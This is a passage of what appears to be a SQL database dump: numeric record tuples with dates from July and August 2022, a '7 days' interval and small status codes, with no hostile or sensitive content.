days',1),(69833,15184,12841,13068,1732,667,'2022-07-28','7 days',0),(69834,15182,12841,13068,1732,667,'2022-07-28','7 days',1),(69835,15181,12841,13068,1732,667,'2022-07-28','7 days',0),(69836,14765,12841,13068,1732,667,'2022-07-28','7 days',1),(69837,14764,12841,13068,1732,667,'2022-07-28','7 days',0),(69838,11445,12812,13045,221,85,'2022-07-28','7 days',0),(69839,11442,12812,13045,221,85,'2022-07-28','7 days',0),(69840,11440,12812,13045,221,85,'2022-07-28','7 days',0),(69841,11438,12812,13045,221,85,'2022-07-28','7 days',0),(69842,11433,12812,13045,221,85,'2022-07-28','7 days',0),(69843,9154,12865,13087,1452,91,'2022-07-30','7 days',1),(69844,9135,12865,13087,1452,91,'2022-07-30','7 days',1),(69845,9134,12865,13087,1452,91,'2022-07-30','7 days',1),(69846,9133,12865,13087,1452,91,'2022-07-30','7 days',1),(69847,7287,12865,13087,1452,91,'2022-07-30','7 days',1),(69848,7286,12865,13087,1452,91,'2022-07-30','7 days',1),(69849,21476,12885,13105,1410,975,'2022-08-02','7 days',1),(69850,21475,12885,13105,1410,975,'2022-08-02','7 days',1),(69851,20788,12885,13105,1410,975,'2022-08-02','7 days',1),(69852,18830,12885,13105,1410,975,'2022-08-02','7 days',1),(69853,17409,12885,13105,1410,975,'2022-08-02','7 days',1),(69854,21476,12883,13089,1783,975,'2022-08-02','7 days',1),(69855,21475,12883,13089,1783,975,'2022-08-02','7 days',1),(69856,20788,12883,13089,1783,975,'2022-08-02','7 days',1),(69857,18830,12883,13089,1783,975,'2022-08-02','7 days',1),(69858,21476,12868,13091,1783,975,'2022-08-02','7 days',1),(69859,21475,12868,13091,1783,975,'2022-08-02','7 days',1),(69860,20788,12868,13091,1783,975,'2022-08-02','7 days',1),(69861,18830,12868,13091,1783,975,'2022-08-02','7 days',1),(69862,17409,12868,13091,1783,975,'2022-08-02','7 days',0),(69863,21486,12860,13082,1324,959,'2022-08-03','7 days',0),(69864,10393,12860,13082,1324,959,'2022-08-03','7 days',1),(69865,14890,12892,13112,1781,91,'2022-08-03','7 days',0),(69866,14889,12892,13112,1781,91,'2022-08-03','7 days',0),(69867,14888,12892,13112,1781,91,'2022-08-03','7 days',0),(69868,14887,12892,13112,1781,91,'2022-08-03','7 days',0),(69869,14886,12892,13112,1781,91,'2022-08-03','7 days',2),(69870,14885,12892,13112,1781,91,'2022-08-03','7 days',0),(69871,14884,12892,13112,1781,91,'2022-08-03','7 days',0),(69872,14883,12892,13112,1781,91,'2022-08-03','7 days',0),(69873,14882,12892,13112,1781,91,'2022-08-03','7 days',0),(69874,14881,12892,13112,1781,91,'2022-08-03','7 days',0),(69875,14880,12892,13112,1781,91,'2022-08-03','7 days',0),(69876,14879,12892,13112,1781,91,'2022-08-03','7 days',0),(69877,14878,12892,13112,1781,91,'2022-08-03','7 days',0),(69878,14877,12892,13112,1781,91,'2022-08-03','7 days',0),(69879,7207,12884,13104,1705,91,'2022-08-03','7 days',2),(69880,7206,12884,13104,1705,91,'2022-08-03','7 days',0),(69881,17074,12882,13103,1456,667,'2022-08-09','7 days',1),(69882,15399,12882,13103,1456,667,'2022-08-09','7 days',0),(69883,15398,12882,13103,1456,667,'2022-08-09','7 days',1),(69884,15397,12882,13103,1456,667,'2022-08-09','7 days',1),(69885,15396,12882,13103,1456,667,'2022-08-09','7 days',0),(69886,15187,12882,13103,1456,667,'2022-08-09','7 days',0),(69887,15181,12882,13103,1456,667,'2022-08-09','7 days',0),(69888,15180,12882,13103,1456,667,'2022-08-09','7 days',0),(69889,15179,12882,13103,1456,667,'2022-08-09','7 days',0),(69890,15178,12882,13103,1456,667,'2022-08-09','7 days',0),(69891,15177,12882,13103,1456,667,'2022-08-09','7 days',2),(69892,15176,12882,13103,1456,667,'2022-08-09','7 days',0),(69893,14805,12882,13103,1456,667,'2022-08-09','7 days',0),(69894,14767,12882,13103,1456,667,'2022-08-09','7 days',0),(69895,14766,12882,13103,1456,667,'2022-08-09','7 days',0),(69896,14765,12882,13103,1456,667,'2022-08-09','7 days',1),(69897,14764,12882,13103,1456,667,'2022-08-09','7 days',2),(69898,15186,12882,13103,1456,667,'2022-08-09','7 days',1),(69899,15185,12882,13103,1456,667,'2022-08-09','7 days',0),(69900,15184,12882,13103,1456,667,'2022-08-09','7 days',0),(69901,15183,12882,13103,1456,667,'2022-08-09','7 days',1),(69902,15182,12882,13103,1456,667,'2022-08-09','7 days',1),(69903,17074,12881,13102,1456,667,'2022-08-09','7 days',1),(69904,15399,12881,13102,1456,667,'2022-08-09','7 days',0),(69905,15398,12881,13102,1456,667,'2022-08-09','7 days',1),(69906,15397,12881,13102,1456,667,'2022-08-09','7 days',1),(69907,15396,12881,13102,1456,667,'2022-08-09','7 days',0),(69908,15187,12881,13102,1456,667,'2022-08-09','7 days',0),(69909,15186,12881,13102,1456,667,'2022-08-09','7 days',1),(69910,15185,12881,13102,1456,667,'2022-08-09','7 days',0),(69911,15184,12881,13102,1456,667,'2022-08-09','7 days',0),(69912,15183,12881,13102,1456,667,'2022-08-09','7 days',1),(69913,15182,12881,13102,1456,667,'2022-08-09','7 days',1),(69914,15181,12881,13102,1456,667,'2022-08-09','7 days',0),(69915,15180,12881,13102,1456,667,'2022-08-09','7 days',0),(69916,15179,12881,13102,1456,667,'2022-08-09','7 days',0),(69917,15178,12881,13102,1456,667,'2022-08-09','7 days',0),(69918,15177,12881,13102,1456,667,'2022-08-09','7 days',2),(69919,15176,12881,13102,1456,667,'2022-08-09','7 days',0),(69920,14805,12881,13102,1456,667,'2022-08-09','7 days',0),(69921,14767,12881,13102,1456,667,'2022-08-09','7 days',0),(69922,14766,12881,13102,1456,667,'2022-08-09','7 days',0),(69923,14765,12881,13102,1456,667,'2022-08-09','7 days',1),(69924,14764,12881,13102,1456,667,'2022-08-09','7 days',2),(69925,15397,12880,13101,1370,667,'2022-08-09','7 days',1),(69926,15396,12880,13101,1370,667,'2022-08-09','7 days',0),(69927,15187,12880,13101,1370,667,'2022-08-09','7 days',0),(69928,15186,12880,13101,1370,667,'2022-08-09','7 days',1),(69929,15180,12880,13101,1370,667,'2022-08-09','7 days',0),(69930,15179,12880,13101,1370,667,'2022-08-09','7 days',0),(69931,15178,12880,13101,1370,667,'2022-08-09','7 days',0),(69932,15177,12880,13101,1370,667,'2022-08-09','7 days',2),(69933,15176,12880,13101,1370,667,'2022-08-09','7 days',0),(69934,14805,12880,13101,1370,667,'2022-08-09','7 days',0),(69935,14767,12880,13101,1370,667,'2022-08-09','7 days',0),(69936,14766,12880,13101,1370,667,'2022-08-09','7 days',0),(69937,14765,12880,13101,1370,667,'2022-08-09','7 days',1),(69938,14764,12880,13101,1370,667,'2022-08-09','7 days',2),(69939,17074,12879,13102,1456,667,'2022-08-09','7 days',1),(69940,15399,12879,13102,1456,667,'2022-08-09','7 days',0),(69941,15398,12879,13102,1456,667,'2022-08-09','7 days',1),(69942,15397,12879,13102,1456,667,'2022-08-09','7 days',1),(69943,15396,12879,13102,1456,667,'2022-08-09','7 days',0),(69944,15187,12879,13102,1456,667,'2022-08-09','7 days',0),(69945,15186,12879,13102,1456,667,'2022-08-09','7 days',1),(69946,15185,12879,13102,1456,667,'2022-08-09','7 days',0),(69947,15184,12879,13102,1456,667,'2022-08-09','7 days',0),(69948,15183,12879,13102,1456,667,'2022-08-09','7 days',1),(69949,15182,12879,13102,1456,667,'2022-08-09','7 days',1),(69950,15181,12879,13102,1456,667,'2022-08-09','7 days',0),(69951,15180,12879,13102,1456,667,'2022-08-09','7 days',0),(69952,15179,12879,13102,1456,667,'2022-08-09','7 days',0),(69953,15178,12879,13102,1456,667,'2022-08-09','7 days',0),(69954,15177,12879,13102,1456,667,'2022-08-09','7 days',2),(69955,15176,12879,13102,1456,667,'2022-08-09','7 days',0),(69956,14805,12879,13102,1456,667,'2022-08-09','7 days',0),(69957,14767,12879,13102,1456,667,'2022-08-09','7 days',0),(69958,14766,12879,13102,1456,667,'2022-08-09','7 days',0),(69959,14765,12879,13102,1456,667,'2022-08-09','7 days',1),(69960,14764,12879,13102,1456,667,'2022-08-09','7 days',2),(69961,15398,12878,13101,1732,667,'2022-08-09','7 days',1),(69962,15181,12878,13101,1732,667,'2022-08-09','7 days',0),(69963,15180,12878,13101,1732,667,'2022-08-09','7 days',0),(69964,15177,12878,13101,1732,667,'2022-08-09','7 days',2),(69965,15176,12878,13101,1732,667,'2022-08-09','7 days',0),(69966,14805,12878,13101,1732,667,'2022-08-09','7 days',0),(69967,14767,12878,13101,1732,667,'2022-08-09','7 days',0),(69968,14766,12878,13101,1732,667,'2022-08-09','7 days',0),(69969,14765,12878,13101,1732,667,'2022-08-09','7 days',1),(69970,14764,12878,13101,1732,667,'2022-08-09','7 days',2),(69971,17074,12878,13101,1732,667,'2022-08-09','7 days',1),(69972,15399,12878,13101,1732,667,'2022-08-09','7 days',0),(69973,15397,12878,13101,1732,667,'2022-08-09','7 days',1),(69974,15396,12878,13101,1732,667,'2022-08-09','7 days',0),(69975,15187,12878,13101,1732,667,'2022-08-09','7 days',0),(69976,15183,12878,13101,1732,667,'2022-08-09','7 days',1),(69977,15182,12878,13101,1732,667,'2022-08-09','7 days',1),(69978,15179,12878,13101,1732,667,'2022-08-09','7 days',0),(69979,15178,12878,13101,1732,667,'2022-08-09','7 days',0),(69980,13616,12877,13100,222,85,'2022-08-09','7 days',0),(69981,13618,12877,13100,222,85,'2022-08-09','7 days',0),(69982,13617,12877,13100,222,85,'2022-08-09','7 days',0),(69983,13615,12877,13100,222,85,'2022-08-09','7 days',0),(69984,13614,12877,13100,222,85,'2022-08-09','7 days',0),(69985,21364,12901,13121,1675,86,'2022-08-10','7 days',0),(69986,21363,12901,13121,1675,86,'2022-08-10','7 days',0),(69987,21362,12901,13121,1675,86,'2022-08-10','7 days',0),(69988,21361,12901,13121,1675,86,'2022-08-10','7 days',0),(69989,21360,12901,13121,1675,86,'2022-08-10','7 days',2),(69990,21359,12901,13121,1675,86,'2022-08-10','7 days',0),(69991,21358,12901,13121,1675,86,'2022-08-10','7 days',0),(69992,21357,12901,13121,1675,86,'2022-08-10','7 days',0),(69993,21356,12901,13121,1675,86,'2022-08-10','7 days',0),(69994,21355,12901,13121,1675,86,'2022-08-10','7 days',0),(69995,21354,12901,13121,1675,86,'2022-08-10','7 days',0),(69996,21353,12901,13121,1675,86,'2022-08-10','7 days',2),(69997,19782,12901,13121,1675,86,'2022-08-10','7 days',0),(69998,19781,12901,13121,1675,86,'2022-08-10','7 days',0),(69999,19780,12901,13121,1675,86,'2022-08-10','7 days',0),(70000,19779,12901,13121,1675,86,'2022-08-10','7 days',2),(70001,20792,12877,13100,222,85,'2022-08-10','7 days',0),(70002,17074,12880,13101,1370,667,'2022-08-10','7 days',1),(70003,15399,12880,13101,1370,667,'2022-08-10','7 days',0),(70004,15398,12880,13101,1370,667,'2022-08-10','7 days',1),(70005,15185,12880,13101,1370,667,'2022-08-10','7 days',0),(70006,15184,12880,13101,1370,667,'2022-08-10','7 days',0),(70007,15183,12880,13101,1370,667,'2022-08-10','7 days',1),(70008,15182,12880,13101,1370,667,'2022-08-10','7 days',1),(70009,15181,12880,13101,1370,667,'2022-08-10','7 days',0),(70010,15186,12878,13101,1732,667,'2022-08-10','7 days',1),(70011,15185,12878,13101,1732,667,'2022-08-10','7 days',0),(70012,15184,12878,13101,1732,667,'2022-08-10','7 days',0),(70013,15183,12811,13021,1732,667,'2022-08-10','7 days',1),(70014,15182,12811,13021,1732,667,'2022-08-10','7 days',1),(70015,15181,12811,13021,1732,667,'2022-08-10','7 days',0),(70016,15180,12811,13021,1732,667,'2022-08-10','7 days',0),(70017,15179,12811,13021,1732,667,'2022-08-10','7 days',0),(70018,15178,12811,13021,1732,667,'2022-08-10','7 days',0),(70019,15177,12811,13021,1732,667,'2022-08-10','7 days',0),(70020,15176,12811,13021,1732,667,'2022-08-10','7 days',0),(70021,14805,12811,13021,1732,667,'2022-08-10','7 days',2),(70022,14767,12811,13021,1732,667,'2022-08-10','7 days',0),(70023,14766,12811,13021,1732,667,'2022-08-10','7 days',0),(70024,14765,12811,13021,1732,667,'2022-08-10','7 days',1),(70025,14764,12811,13021,1732,667,'2022-08-10','7 days',2),(70026,17074,12791,13021,1732,667,'2022-08-10','7 days',1),(70027,15399,12791,13021,1732,667,'2022-08-10','7 days',0),(70028,15398,12791,13021,1732,667,'2022-08-10','7 days',1),(70029,15397,12791,13021,1732,667,'2022-08-10','7 days',1),(70030,15396,12791,13021,1732,667,'2022-08-10','7 days',0),(70031,15187,12791,13021,1732,667,'2022-08-10','7 days',0),(70032,15186,12791,13021,1732,667,'2022-08-10','7 days',1),(70033,15185,12791,13021,1732,667,'2022-08-10','7 days',0),(70034,15184,12791,13021,1732,667,'2022-08-10','7 days',0),(70035,15183,12791,13021,1732,667,'2022-08-10','7 days',1),(70036,15182,12791,13021,1732,667,'2022-08-10','7 days',1),(70037,15181,12791,13021,1732,667,'2022-08-10','7 days',0),(70038,15180,12791,13021,1732,667,'2022-08-10','7 days',0),(70039,15179,12791,13021,1732,667,'2022-08-10','7 days',0),(70040,15178,12791,13021,1732,667,'2022-08-10','7 days',0),(70041,15177,12791,13021,1732,667,'2022-08-10','7 days',0),(70042,15176,12791,13021,1732,667,'2022-08-10','7 days',0),(70043,14805,12791,13021,1732,667,'2022-08-10','7 days',0),(70044,14767,12791,13021,1732,667,'2022-08-10','7 days',0),(70045,14766,12791,13021,1732,667,'2022-08-10','7 days',0),(70046,14765,12791,13021,1732,667,'2022-08-10','7 days',1),(70047,14764,12791,13021,1732,667,'2022-08-10','7 days',2),(70048,17074,12295,12564,1456,667,'2022-08-10','7 days',1),(70049,15399,12295,12564,1456,667,'2022-08-10','7 days',0),(70050,15398,12295,12564,1456,667,'2022-08-10','7 days',1),(70051,15397,12295,12564,1456,667,'2022-08-10','7 days',1),(70052,15396,12295,12564,1456,667,'2022-08-10','7 days',0),(70053,15187,12295,12564,1456,667,'2022-08-10','7 days',0),(70054,15186,12295,12564,1456,667,'2022-08-10','7 days',1),(70055,15185,12295,12564,1456,667,'2022-08-10','7 days',0),(70056,15184,12295,12564,1456,667,'2022-08-10','7 days',0),(70057,15183,12295,12564,1456,667,'2022-08-10','7 days',1),(70058,15182,12295,12564,1456,667,'2022-08-10','7 days',1),(70059,15181,12295,12564,1456,667,'2022-08-10','7 days',0),(70060,15180,12295,12564,1456,667,'2022-08-10','7 days',0),(70061,15179,12295,12564,1456,667,'2022-08-10','7 days',0),(70062,15178,12295,12564,1456,667,'2022-08-10','7 days',0),(70063,15177,12295,12564,1456,667,'2022-08-10','7 days',0),(70064,15176,12295,12564,1456,667,'2022-08-10','7 days',0),(70065,14805,12295,12564,1456,667,'2022-08-10','7 days',0),(70066,14767,12295,12564,1456,667,'2022-08-10','7 days',0),(70067,14766,12295,12564,1456,667,'2022-08-10','7 days',0),(70068,14765,12295,12564,1456,667,'2022-08-10','7 days',1),(70069,14764,12295,12564,1456,667,'2022-08-10','7 days',2),(70070,21476,12911,13105,1779,975,'2022-08-11','7 days',1),(70071,21475,12911,13105,1779,975,'2022-08-11','7 days',1),(70072,20788,12911,13105,1779,975,'2022-08-11','7 days',1),(70073,18830,12911,13105,1779,975,'2022-08-11','7 days',1),(70074,17409,12911,13105,1779,975,'2022-08-11','7 days',1),(70075,17408,12911,13105,1779,975,'2022-08-11','7 days',1),(70076,21476,12905,13127,1783,975,'2022-08-11','7 days',1),(70077,21475,12905,13127,1783,975,'2022-08-11','7 days',1),(70078,20788,12905,13127,1783,975,'2022-08-11','7 days',1),(70079,18830,12905,13127,1783,975,'2022-08-11','7 days',1),(70080,17409,12905,13127,1783,975,'2022-08-11','7 days',0),(70081,21476,12907,13105,1779,975,'2022-08-11','7 days',1),(70082,21475,12907,13105,1779,975,'2022-08-11','7 days',1),(70083,20788,12907,13105,1779,975,'2022-08-11','7 days',1),(70084,18830,12907,13105,1779,975,'2022-08-11','7 days',1),(70085,17409,12907,13105,1779,975,'2022-08-11','7 days',0),(70086,17408,12905,13127,1783,975,'2022-08-12','7 days',1),(70087,17407,12905,13127,1783,975,'2022-08-12','7 days',1),(70088,17406,12905,13127,1783,975,'2022-08-12','7 days',1),(70089,17405,12905,13127,1783,975,'2022-08-12','7 days',1),(70090,17404,12905,13127,1783,975,'2022-08-12','7 days',0),(70091,17403,12905,13127,1783,975,'2022-08-12','7 days',0),(70092,17391,12905,13127,1783,975,'2022-08-12','7 days',2),(70093,17390,12905,13127,1783,975,'2022-08-12','7 days',0),(70094,17389,12905,13127,1783,975,'2022-08-12','7 days',0),(70095,17388,12905,13127,1783,975,'2022-08-12','7 days',0),(70096,17387,12905,13127,1783,975,'2022-08-12','7 days',0),(70097,17386,12905,13127,1783,975,'2022-08-12','7 days',0),(70098,17385,12905,13127,1783,975,'2022-08-12','7 days',0),(70099,17384,12905,13127,1783,975,'2022-08-12','7 days',0),(70100,17383,12905,13127,1783,975,'2022-08-12','7 days',1),(70101,17382,12905,13127,1783,975,'2022-08-12','7 days',0),(70102,15663,12905,13127,1783,975,'2022-08-12','7 days',1),(70103,17409,12883,13089,1783,975,'2022-08-14','7 days',0),(70104,17408,12883,13089,1783,975,'2022-08-14','7 days',1),(70105,17407,12883,13089,1783,975,'2022-08-14','7 days',1),(70106,17406,12883,13089,1783,975,'2022-08-14','7 days',1),(70107,17405,12883,13089,1783,975,'2022-08-14','7 days',1),(70108,17404,12883,13089,1783,975,'2022-08-14','7 days',0),(70109,17403,12883,13089,1783,975,'2022-08-14','7 days',2),(70110,17391,12883,13089,1783,975,'2022-08-14','7 days',0),(70111,17390,12883,13089,1783,975,'2022-08-14','7 days',0),(70112,17389,12883,13089,1783,975,'2022-08-14','7 days',0),(70113,17388,12883,13089,1783,975,'2022-08-14','7 days',0),(70114,17387,12883,13089,1783,975,'2022-08-14','7 days',0),(70115,17386,12883,13089,1783,975,'2022-08-14','7 days',0),(70116,17385,12883,13089,1783,975,'2022-08-14','7 days',0),(70117,17384,12883,13089,1783,975,'2022-08-14','7 days',0),(70118,17383,12883,13089,1783,975,'2022-08-14','7 days',1),(70119,17382,12883,13089,1783,975,'2022-08-14','7 days',0),(70120,15663,12883,13089,1783,975,'2022-08-14','7 days',1),(70121,17408,12868,13091,1783,975,'2022-08-14','7 days',1),(70122,17407,12868,13091,1783,975,'2022-08-14','7 days',1),(70123,17406,12868,13091,1783,975,'2022-08-14','7 days',1),(70124,17405,12868,13091,1783,975,'2022-08-14','7 days',1),(70125,17404,12868,13091,1783,975,'2022-08-14','7 days',0),(70126,17403,12868,13091,1783,975,'2022-08-14','7 days',0),(70127,17391,12868,13091,1783,975,'2022-08-14','7 days',0),(70128,17390,12868,13091,1783,975,'2022-08-14','7 days',0),(70129,15663,12868,13091,1783,975,'2022-08-14','7 days',1),(70130,13180,12905,13127,1783,975,'2022-08-14','7 days',0),(70131,12972,12905,13127,1783,975,'2022-08-14','7 days',0),(70132,14071,12921,13139,1784,959,'2022-08-16','7 days',1),(70133,14071,12920,13138,1324,959,'2022-08-16','7 days',1),(70134,14071,12917,13135,1310,959,'2022-08-16','7 days',1),(70135,21476,12919,13137,1779,975,'2022-08-16','7 days',1),(70136,21475,12919,13137,1779,975,'2022-08-16','7 days',1),(70137,20788,12919,13137,1779,975,'2022-08-16','7 days',1),(70138,18830,12919,13137,1779,975,'2022-08-16','7 days',1),(70139,17409,12919,13137,1779,975,'2022-08-16','7 days',1),(70140,17408,12919,13137,1779,975,'2022-08-16','7 days',1),(70141,17407,12919,13137,1779,975,'2022-08-16','7 days',1),(70142,17406,12919,13137,1779,975,'2022-08-16','7 days',1),(70143,17405,12919,13137,1779,975,'2022-08-16','7 days',1),(70144,17404,12919,13137,1779,975,'2022-08-16','7 days',0),(70145,17403,12919,13137,1779,975,'2022-08-16','7 days',0),(70146,9154,12884,13104,1705,91,'2022-08-16','7 days',1),(70147,9135,12884,13104,1705,91,'2022-08-16','7 days',1),(70148,9134,12884,13104,1705,91,'2022-08-16','7 days',1),(70149,9133,12884,13104,1705,91,'2022-08-16','7 days',1),(70150,7287,12884,13104,1705,91,'2022-08-16','7 days',1),(70151,7286,12884,13104,1705,91,'2022-08-16','7 days',1),(70152,21476,12918,13136,1783,975,'2022-08-16','7 days',1),(70153,21475,12918,13136,1783,975,'2022-08-16','7 days',1),(70154,20788,12918,13136,1783,975,'2022-08-16','7 days',1),(70155,18830,12918,13136,1783,975,'2022-08-16','7 days',1),(70156,17409,12918,13136,1783,975,'2022-08-16','7 days',0),(70157,17408,12918,13136,1783,975,'2022-08-16','7 days',1),(70158,17407,12918,13136,1783,975,'2022-08-16','7 days',1),(70159,17406,12918,13136,1783,975,'2022-08-16','7 days',1),(70160,17405,12918,13136,1783,975,'2022-08-16','7 days',1),(70161,20696,12914,13133,1740,1020,'2022-08-17','7 days',1),(70162,20695,12914,13133,1740,1020,'2022-08-17','7 days',0),(70163,20696,12913,13132,1740,1020,'2022-08-17','7 days',1),(70164,20695,12913,13132,1740,1020,'2022-08-17','7 days',0),(70165,20696,12904,13126,1740,1020,'2022-08-17','7 days',1),(70166,20695,12904,13126,1740,1020,'2022-08-17','7 days',0),(70167,14071,12916,13134,1367,959,'2022-08-17','7 days',1),(70168,21375,12895,13115,1780,971,'2022-08-17','7 days',1),(70169,16277,12895,13115,1780,971,'2022-08-17','7 days',0),(70170,16276,12895,13115,1780,971,'2022-08-17','7 days',0),(70171,16139,12895,13115,1780,971,'2022-08-17','7 days',1),(70172,12739,12895,13115,1780,971,'2022-08-17','7 days',0),(70173,11698,12895,13115,1780,971,'2022-08-17','7 days',0),(70174,11456,12895,13115,1780,971,'2022-08-17','7 days',0),(70175,11126,12895,13115,1780,971,'2022-08-17','7 days',0),(70176,10978,12895,13115,1780,971,'2022-08-17','7 days',0),(70177,10967,12895,13115,1780,971,'2022-08-17','7 days',0),(70178,10965,12895,13115,1780,971,'2022-08-17','7 days',0),(70179,10964,12895,13115,1780,971,'2022-08-17','7 days',0),(70180,10963,12895,13115,1780,971,'2022-08-17','7 days',0),(70181,21384,12895,13115,1780,971,'2022-08-17','7 days',0),(70182,21383,12895,13115,1780,971,'2022-08-17','7 days',0),(70183,21382,12895,13115,1780,971,'2022-08-17','7 days',0),(70184,21381,12895,13115,1780,971,'2022-08-17','7 days',0),(70185,21380,12895,13115,1780,971,'2022-08-17','7 days',1),(70186,21379,12895,13115,1780,971,'2022-08-17','7 days',0),(70187,21389,12895,13115,1780,971,'2022-08-17','7 days',2),(70188,17407,12926,13105,1410,975,'2022-08-18','7 days',1),(70189,17406,12926,13105,1410,975,'2022-08-18','7 days',1),(70190,17405,12926,13105,1410,975,'2022-08-18','7 days',1),(70191,17404,12926,13105,1410,975,'2022-08-18','7 days',0),(70192,17403,12926,13105,1410,975,'2022-08-18','7 days',0),(70193,17391,12926,13105,1410,975,'2022-08-18','7 days',0),(70194,21476,12924,13142,1779,975,'2022-08-18','7 days',1),(70195,21475,12924,13142,1779,975,'2022-08-18','7 days',1),(70196,20788,12924,13142,1779,975,'2022-08-18','7 days',1),(70197,18830,12924,13142,1779,975,'2022-08-18','7 days',0),(70198,17409,12924,13142,1779,975,'2022-08-18','7 days',1),(70199,17408,12924,13142,1779,975,'2022-08-18','7 days',1),(70200,17204,12922,13140,1785,959,'2022-08-18','7 days',1),(70201,15747,12922,13140,1785,959,'2022-08-18','7 days',0),(70202,21497,12923,13141,193,45,'2022-08-18','7 days',1),(70203,21496,12923,13141,193,45,'2022-08-18','7 days',2),(70204,21495,12923,13141,193,45,'2022-08-18','7 days',0),(70205,21494,12923,13141,193,45,'2022-08-18','7 days',1),(70206,21493,12923,13141,193,45,'2022-08-18','7 days',1),(70207,21492,12923,13141,193,45,'2022-08-18','7 days',0),(70208,21408,12912,13131,192,45,'2022-08-18','7 days',1),(70209,21374,12912,13131,192,45,'2022-08-18','7 days',1),(70210,14534,12912,13131,192,45,'2022-08-18','7 days',1),(70211,12532,12912,13131,192,45,'2022-08-18','7 days',1),(70212,12531,12912,13131,192,45,'2022-08-18','7 days',1),(70213,21378,12861,13083,160,73,'2022-08-19','7 days',1),(70214,21319,12861,13083,160,73,'2022-08-19','7 days',0),(70215,21318,12861,13083,160,73,'2022-08-19','7 days',0),(70216,21317,12861,13083,160,73,'2022-08-19','7 days',0),(70217,21316,12861,13083,160,73,'2022-08-19','7 days',0),(70218,21315,12861,13083,160,73,'2022-08-19','7 days',0),(70219,21377,12856,13079,160,73,'2022-08-19','7 days',1),(70220,9012,12856,13079,160,73,'2022-08-19','7 days',0),(70221,9010,12856,13079,160,73,'2022-08-19','7 days',0),(70222,8785,12856,13079,160,73,'2022-08-19','7 days',0),(70223,8782,12856,13079,160,73,'2022-08-19','7 days',0),(70224,9154,12956,13162,1012,91,'2022-08-23','7 days',1),(70225,9135,12956,13162,1012,91,'2022-08-23','7 days',1),(70226,9134,12956,13162,1012,91,'2022-08-23','7 days',1),(70227,9133,12956,13162,1012,91,'2022-08-23','7 days',1),(70228,7287,12956,13162,1012,91,'2022-08-23','7 days',1),(70229,7286,12956,13162,1012,91,'2022-08-23','7 days',1),(70230,9154,12955,13167,1452,91,'2022-08-23','7 days',1),(70231,9135,12955,13167,1452,91,'2022-08-23','7 days',1),(70232,9134,12955,13167,1452,91,'2022-08-23','7 days',1),(70233,9133,12955,13167,1452,91,'2022-08-23','7 days',1),(70234,7287,12955,13167,1452,91,'2022-08-23','7 days',1),(70235,7286,12955,13167,1452,91,'2022-08-23','7 days',1),(70236,17211,12954,13166,1785,959,'2022-08-23','7 days',1),(70237,14071,12954,13166,1785,959,'2022-08-23','7 days',1),(70238,17211,12953,13165,1784,959,'2022-08-23','7 days',1),(70239,14071,12953,13165,1784,959,'2022-08-23','7 days',1),(70240,17211,12947,13163,1367,959,'2022-08-23','7 days',1),(70241,14071,12947,13163,1367,959,'2022-08-23','7 days',1),(70242,17213,12947,13163,1367,959,'2022-08-23','7 days',1),(70243,17211,12944,13161,1786,959,'2022-08-23','7 days',1),(70244,14071,12944,13161,1786,959,'2022-08-23','7 days',1),(70245,17074,12970,13179,1456,667,'2022-08-25','7 days',1),(70246,15399,12970,13179,1456,667,'2022-08-25','7 days',0),(70247,15398,12970,13179,1456,667,'2022-08-25','7 days',1),(70248,15397,12970,13179,1456,667,'2022-08-25','7 days',1),(70249,15396,12970,13179,1456,667,'2022-08-25','7 days',0),(70250,15187,12970,13179,1456,667,'2022-08-25','7 days',0),(70251,15186,12970,13179,1456,667,'2022-08-25','7 days',1),(70252,15185,12970,13179,1456,667,'2022-08-25','7 days',0),(70253,15184,12970,13179,1456,667,'2022-08-25','7 days',0),(70254,15183,12970,13179,1456,667,'2022-08-25','7 days',1),(70255,15182,12970,13179,1456,667,'2022-08-25','7 days',1),(70256,15181,12970,13179,1456,667,'2022-08-25','7 days',0),(70257,15180,12970,13179,1456,667,'2022-08-25','7 days',0),(70258,15179,12970,13179,1456,667,'2022-08-25','7 days',0),(70259,15178,12970,13179,1456,667,'2022-08-25','7 days',0),(70260,15177,12970,13179,1456,667,'2022-08-25','7 days',0),(70261,15176,12970,13179,1456,667,'2022-08-25','7 days',0),(70262,14805,12970,13179,1456,667,'2022-08-25','7 days',0),(70263,14767,12970,13179,1456,667,'2022-08-25','7 days',0),(70264,14766,12970,13179,1456,667,'2022-08-25','7 days',0),(70265,14765,12970,13179,1456,667,'2022-08-25','7 days',1),(70266,14764,12970,13179,1456,667,'2022-08-25','7 days',2),(70267,21505,12958,13168,193,45,'2022-08-26','7 days',0),(70268,21504,12958,13168,193,45,'2022-08-26','7 days',1),(70269,21501,12958,13168,193,45,'2022-08-26','7 days',0),(70270,21500,12958,13168,193,45,'2022-08-26','7 days',0),(70271,21499,12958,13168,193,45,'2022-08-26','7 days',0),(70272,21498,12958,13168,193,45,'2022-08-26','7 days',0),(70273,17074,12968,13176,1456,667,'2022-08-27','7 days',1),(70274,15399,12968,13176,1456,667,'2022-08-27','7 days',0),(70275,15398,12968,13176,1456,667,'2022-08-27','7 days',1),(70276,15397,12968,13176,1456,667,'2022-08-27','7 days',1),(70277,15396,12968,13176,1456,667,'2022-08-27','7 days',0),(70278,15187,12968,13176,1456,667,'2022-08-27','7 days',0),(70279,15186,12968,13176,1456,667,'2022-08-27','7 days',1),(70280,15185,12968,13176,1456,667,'2022-08-27','7 days',0),(70281,15184,12968,13176,1456,667,'2022-08-27','7 days',0),(70282,15183,12968,13176,1456,667,'2022-08-27','7 days',1),(70283,15182,12968,13176,1456,667,'2022-08-27','7 days',1),(70284,15181,12968,13176,1456,667,'2022-08-27','7 days',2),(70285,15180,12968,13176,1456,667,'2022-08-27','7 days',0),(70286,15179,12968,13176,1456,667,'2022-08-27','7 days',0),(70287,15178,12968,13176,1456,667,'2022-08-27','7 days',0),(70288,15177,12968,13176,1456,667,'2022-08-27','7 days',2),(70289,15176,12968,13176,1456,667,'2022-08-27','7 days',0),(70290,14805,12968,13176,1456,667,'2022-08-27','7 days',0),(70291,14767,12968,13176,1456,667,'2022-08-27','7 days',0),(70292,14766,12968,13176,1456,667,'2022-08-27','7 days',0),(70293,14765,12968,13176,1456,667,'2022-08-27','7 days',1),(70294,14764,12968,13176,1456,667,'2022-08-27','7 days',0),(70295,21476,13000,13154,1783,975,'2022-08-29','7 days',1),(70296,21475,13000,13154,1783,975,'2022-08-29','7 days',1),(70297,20788,13000,13154,1783,975,'2022-08-29','7 days',1),(70298,18830,13000,13154,1783,975,'2022-08-29','7 days',0),(70299,17409,13000,13154,1783,975,'2022-08-29','7 days',1),(70300,17408,13000,13154,1783,975,'2022-08-29','7 days',0),(70301,17407,13000,13154,1783,975,'2022-08-29','7 